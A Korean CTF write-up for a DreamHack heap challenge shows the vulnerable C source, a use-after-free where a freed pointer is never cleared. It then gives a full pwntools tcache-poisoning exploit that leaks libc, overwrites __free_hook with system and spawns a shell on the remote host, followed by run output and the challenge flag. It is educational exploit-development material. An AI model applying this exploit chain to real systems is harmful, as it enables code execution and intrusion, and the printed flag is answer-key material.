[🥇 Gold 4] free 하고 포인터를 안 지웠다 — DreamHack Tcache Poisoning 풀이

file tcache_poison && checksec --file=tcache_poison

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;
 
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
 
  while (1) {
    printf("1. Allocate\n2. Free\n3. Print\n4. Edit\n");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Size: ");   scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: "); read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);        // ← 여기. chunk 를 NULL 로 안 지운다
        break;
      case 3:
        printf("Content: %s", chunk);   // 해제된 청크도 그대로 읽음
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);       // 해제된 청크도 그대로 씀
        break;
    }
  }
}

alloc(A)                 # tcache[idx] 에 들어갈 청크 하나 확보
free()                   # tcache[idx]: head → A,  A->next = NULL
edit(p64(target))        # A->next = target        ← poisoning (UAF write)
alloc()                  # malloc → A,  head = A->next = target
alloc()                  # malloc → target         ← 임의 주소가 청크로!

STDOUT_BSS    = 0x601010                       # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_'] # 0x3ec760
 
alloc(0x18, b'A'*8)          # A (tcache idx 0x20)
free()                       # tcache[0x20]: head → A, A->next = NULL   (chunk 는 여전히 A → UAF)
edit(p64(STDOUT_BSS))        # A->next = &stdout                        (poisoning)
alloc(0x18, b'B'*8)          # malloc → A,  head = &stdout
alloc(0x18, b'\x60')         # malloc → &stdout, 이어지는 1바이트 write 로 최하위 0x60 만 재기록(값 보존)
libc.address = u64(show().ljust(8, b'\x00')) - OFF_IO_STDOUT

free_hook = libc.address + libc.symbols['__free_hook']
system    = libc.address + libc.symbols['system']
 
alloc(0x28, b'C'*8)           # B (tcache idx 0x30)
free()                        # tcache[0x30]: head → B, B->next = NULL
edit(p64(free_hook))          # B->next = __free_hook       (poisoning)
alloc(0x28, b'D'*8)           # malloc → B,  head = __free_hook
alloc(0x28, p64(system))      # malloc → __free_hook, 이어지는 write 로 system 기록

alloc(0x38, b'/bin/sh\x00')   # 깨끗한 0x40 bin 에서 새 청크 = "/bin/sh"
free()                        # free() → __free_hook("/bin/sh") = system("/bin/sh")  → shell

from pwn import *
 
context.arch = 'amd64'
HOST, PORT = 'host3.dreamhack.games', 22791
libc = ELF('libc-2.27.so', checksec=False)
STDOUT_BSS    = 0x601010                         # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_']
OFF_FREE_HOOK = libc.symbols['__free_hook']
OFF_SYSTEM    = libc.symbols['system']
 
def io(r, i):    r.recvuntil(b'4. Edit\n'); r.sendline(str(i).encode())
def alloc(r,s,c):io(r,1); r.recvuntil(b'Size: '); r.sendline(str(s).encode()); r.recvuntil(b'Content: '); r.send(c)
def free(r):     io(r, 2)
def show(r):     io(r,3); r.recvuntil(b'Content: '); return r.recvuntil(b'1. Allocate', drop=True)
def edit(r,c):   io(r,4); r.recvuntil(b'Edit chunk: '); r.send(c)
 
# 1) &stdout 를 할당해 libc 누출 (%s 널절단 대비 재연결 재시도)
def leak_once():
    r = remote(HOST, PORT)
    alloc(r, 0x18, b'A'*8); free(r); edit(r, p64(STDOUT_BSS))
    alloc(r, 0x18, b'B'*8); alloc(r, 0x18, b'\x60')
    base = u64(show(r).ljust(8, b'\x00')) - OFF_IO_STDOUT
    if base & 0xfff or not (0x7f0000000000 <= base <= 0x800000000000):
        r.close(); return None
    libc.address = base
    return r
 
for _ in range(16):
    r = leak_once()
    if r: break
log.info('libc base = %#x', libc.address)
 
# 2) __free_hook = system  (다른 크기 0x30 bin 사용)
alloc(r, 0x28, b'C'*8); free(r); edit(r, p64(libc.address + OFF_FREE_HOOK))
alloc(r, 0x28, b'D'*8); alloc(r, 0x28, p64(libc.address + OFF_SYSTEM))
 
# 3) system("/bin/sh")
alloc(r, 0x38, b'/bin/sh\x00'); free(r)
r.sendline(b'cat /home/tcache_poison/flag')
r.interactive()

[leak] libc base   = 0x7fbbb9b09000
[leak] __free_hook  = 0x7fbbb9ef68e8
[leak] system       = 0x7fbbb9b58550
[shell] system("/bin/sh") 성공
[FLAG]  DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}